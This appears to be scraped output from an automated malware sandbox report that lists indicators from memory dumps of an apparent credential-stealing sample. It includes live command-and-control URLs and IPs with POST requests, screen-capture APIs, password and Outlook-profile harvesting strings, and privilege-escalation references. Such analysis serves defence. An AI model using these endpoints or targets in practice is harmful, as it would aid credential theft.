"http://196.251.107.130/16b022998f754137b60a.phphardware\description\system\centralprocessor\0winhttp" - Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found URL "http://196.251.107.130/16b022998f754137b60a.phpv" - Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found URL "http://196.251.107.130/16b022998f754137b60a.phpgetsystemmetricsenumdisplaydevicesw5pm42jb1getenvironmentvariablea4200@babynjpt7dykubeil7jzv9hpznvc5st+guakabebqvbqwgzb9vzjapyjzfu6a2tjmfmzvlafkxaegk75mlb4avtiyobliqtk5xkdp46rbvszpw46reglrpc-010b088b9fa8df121ev" - Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found URL "http://196.251.107.130/16b022998f754137b60a.phplmemlmemxlmemlmemlmemlmemlmemlmemlmemopcode5efd27755fc3db7" - Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006464.00000000.285111.995F0000.00000004.mdmp") Found URL "http://losslvs.surf:7802!this" - Source: "00000000-00006464.00000001.287031.99590000.00000040.mdmp") Found URL "http://losslvs.surf:7802/surf,e+" - Source: "00000000-00006464.00000001.287031.995F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006464.00000001.287031.995F0000.00000004.mdmp") Found URL "http://cdn.content.proselect" - Source: "00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found URL "http://losslvs.surf:7802/icrosoft" - Source: "00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/soap/envelope/accept-languagehttp://schemas.xmlsoap.org/soap/encoding/http://www.w3.org/2001/xmlschema-instancesoap:bodyhttp://www.w3.org/2001/xmlschemapostsoapactioncontent-typesoap:envelopesoap:headertruefalseyyyy-mm-dd't'hh:mm:ss'z'yyyy-mm-dd't'hh:mm:ssselectionlanguagexpathurn:groove.net:cert_accountguid_digest_origrootfolderpath_path_rootfolderpath_sessionid_shareobjectid_shareobjectname_stubfilepath_userguid_watermarkepubkeyepkalgoencryptedkeycsmkeykeyidencalgospubkeyspkalgosigalgourn:groove.net:auth" - Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp") Found URL "http://62.60.226.159/xvzpjyddlu/getdata.php62.60.226.159/xvzpjyddlu/getdata.phpsoftware\microsoft\windows\currentversion\internet" - Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp") Found URL "http://62.60.226.159/xvzpjyddlu/getdata.php62.60.226.159/xvzpjyddlu/getdata.phpsoftware\microsoft\windows\currentversion\internet" - Source: "00000000-00007248.00000001.287554.75FD0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007248.00000001.287554.75FD0000.00000004.mdmp") Found URL "http://62.60.226.159/xvzpjyddlu/getdata.php62.60.226.159/xvzpjyddlu/getdata.phpr,m" - Source: "00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007516.00000000.285104.F8F60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007516.00000001.285117.F8F60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008076.00000000.285147.F0920000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008076.00000001.285341.F0920000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008108.00000000.285534.CF640000.00000004.mdmp") Found URL "https://hackus.shopauthorizationabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz1234567890completedcommandcompletedcommandparameterautol_newtablayersgeometry" - Source: "00000000-00008108.00000001.285818.D1460000.00000004.mdmp")6f:T7b2,Found string "POST /16b022998f754137b60a.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found string "Content-Length128POST /16b022998f754137b60a.php HTTP/1.1N" (Indicator: "HTTP/1.1"; Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp, 00000000-00007248.00000001.287554.75FD0000.00000004.mdmp, 00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp, 00000000-00007248.00000001.287554.75FD0000.00000004.mdmp, 00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string "POST /xvzpjyddlu/getdata.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp, 00000000-00007248.00000001.287554.75FD0000.00000004.mdmp, 00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string "Content-Length80POST /xvzpjyddlu/getdata.php HTTP/1.19" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp") Found string "Content-Length80POST /xvzpjyddlu/getdata.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000001.287554.75FD0000.00000004.mdmp, 00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string "OST /xvzpjyddlu/getdata.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string ".php HTTP/1.1U5" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string "POST /xvzpjyddlu/getdata.php HTTP/1.1E" (Indicator: "HTTP/1.1"; Source: "00000000-00007248.00000002.289475.75FD0000.00000004.mdmp")70:Td6f,Found string "B+ncalrpc:[OLE8EE7156AAA14E159C82EDDC81D14]" (Indicator: "ncalrpc"; Source: "00000000-00006464.00000000.285111.995F0000.00000004.mdmp, 00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string "+ncalrpc:[OLE1140F519392F4FA9EF40F65D2248]" (Indicator: "ncalrpc"; Source: "00000000-00006464.00000000.285111.995F0000.00000004.mdmp, 00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00006464.00000000.285111.995F0000.00000004.mdmp, 00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string "+ncalrpc:[OLE8EE7156AAA14E159C82EDDC81D14]" (Indicator: "ncalrpc"; Source: "00000000-00006464.00000000.285111.995F0000.00000004.mdmp, 00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp, 00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string "+ncalrpc:[OLED4943846964475AD8BA299AF4C1A]" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp, 00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string "+ncalrpc:[OLEC91C989C5A09BD0504EB5C823E82]" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp, 00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string "B+ncalrpc:[OLED4943846964475AD8BA299AF4C1A]" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp, 00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string "B+ncalrpc:[OLEE51B933754090EA3E9E31894DAF1]" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string "+ncalrpc:[OLEE51B933754090EA3E9E31894DAF1]" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000001.285240.2A776000.00000004.mdmp, 00000000-00006932.00000001.285240.2E7E0000.00000004.mdmp") Found string "ncacn_np" (Indicator: "ncacn_np"; Source: "00000000-00006932.00000001.285240.2A776000.00000004.mdmp") Found string "d3c7f20-1c8d-4654-a1b3-51563b298bda@ncalrpc:" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000001.285240.2E7E0000.00000004.mdmp") Found string "18fbab6-56f8-4702-84e0-41053293a869@ncalrpc:" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000001.285240.2E7E0000.00000004.mdmp") Found string "B+ncalrpc:[O" (Indicator: "ncalrpc"; Source: "00000000-00006932.00000001.285240.2E7E0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00007516.00000000.285104.F8F60000.00000004.mdmp") Found string "F+ncalrpc:[OLE0C5ABDC4F1756EC1E5D83FB3611D]" (Indicator: "ncalrpc"; Source: "00000000-00007516.00000000.285104.F8F60000.00000004.mdmp") Found string "+ncalrpc:[OLE0C5ABDC4F1756EC1E5D83FB3611D]" (Indicator: "ncalrpc"; Source: "00000000-00007516.00000000.285104.F8F60000.00000004.mdmp") Found string "+ncalrpc:[OLEB89543D111141C203765F80CA325]" (Indicator: "ncalrpc"; Source: "00000000-00007516.00000000.285104.F8F60000.00000004.mdmp")71:T44c,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00006464.00000000.285111.995F0000.00000004.mdmp, 00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp, 00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00007516.00000000.285104.F8F60000.00000004.mdmp")72:Ta91,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp")73:T8d4,Found registry query API: "RegOpenKeyExW" in file "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin" Found registry query API: "RegQueryValueExW" in file "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin" Found registry query API: "RegEnumValueA" in file "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin" Found registry query API: "RegGetValueA" in file "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin" Found registry query API: "RegQueryValueExW" in "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp" Found registry query API: "RegGetValueA" in "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00006932.00000000.284995.16877000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006932.00000000.284995.16877000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006932.00000000.284995.16877000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00006932.00000000.284995.16877000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00006932.00000000.284995.16877000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00006932.00000000.284995.16877000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00006932.00000000.284995.16877000.00000002.mdmp"74:Tca9,Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "NtQueryObject" (Indicator: "NtQueryObject"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "NtQueryObject" (Indicator: "NtQueryObject"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "NetGetJoinInformation" (Indicator: "NetGetJoinInformation"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetUserNameExW" (Indicator: "GetUserName"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp")75:T87c,"i__Field" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "get_password" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "IsMultipassword" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "get_ProcessMultipassword" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "set_ProcessMultipassword" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "_processMultipassword" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "IncrementMultipassword" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "j__TPar" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "MultipasswordHelper" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "get_MultipasswordMailsCount" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "_multipasswordMailsCount" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "(empty or master password protected)" (Indicator: "password"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "passwords.txt" (Indicator: "password"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found string "password:" (Indicator: "password"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found string "(empty or master password protected)" (Indicator: "password"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp")7d:T701,"Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\%s\%08d" in Source: 7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin "soft\Outlook\outlook.txt" in Source: 7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\%s\%08d" in Source: 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp "soft\Outlook\outlook.txt" in Source: 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp "Software\Microsoft\Office\Outlook\Addins\" in Source: 00000000-00006932.00000000.284995.16877000.00000002.mdmp7e:Tb02,Found string "\drivers\etc\hosts" (Indicator: "\drivers\"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "\DosDevices\STProcessMonitorDriver" (Indicator: "\DosDevices\"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "\Device\STProcessMonitorDriver" (Indicator: "\Device\"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\cbuttc.exe" (Indicator: "\Device\"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\nctsrn.exe" (Indicator: "\Device\"; Source: "00000000-00006464.00000000.285111.995F0000.00000004.mdmp, 00000000-00006464.00000001.287031.995F0000.00000004.mdmp, 00000000-00006464.00000002.288951.995F0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin.exe" (Indicator: "\Device\"; Source: "00000000-00006932.00000000.284995.2A6E0000.00000004.mdmp, 00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\7836fcfb6c81e23437fb1b4e8120C:\" (Indicator: "\Device\"; Source: "00000000-00006932.00000000.284995.AE931000.00000004.mdmp") Found string "WS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006932.00000001.285240.2A6E0000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00006932.00000001.285240.2E7E0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\ProgramData\nrmhq.exe" (Indicator: "\Device\"; Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp, 00000000-00007248.00000001.287554.75FD0000.00000004.mdmp, 00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007248.00000000.285632.75FD0000.00000004.mdmp, 00000000-00007248.00000001.287554.75FD0000.00000004.mdmp, 00000000-00007248.00000002.289475.75FD0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007516.00000000.285104.F8F60000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\wmiprv.exe" (Indicator: "\Device\"; Source: "00000000-00007980.00000000.285138.D1430000.00000004.mdmp")7f:T43c,Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "FtpRemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "FtpDeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp")80:T61c,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp, 00000000-00007980.00000000.285138.D1430000.00000004.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp")81:Tadd,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: 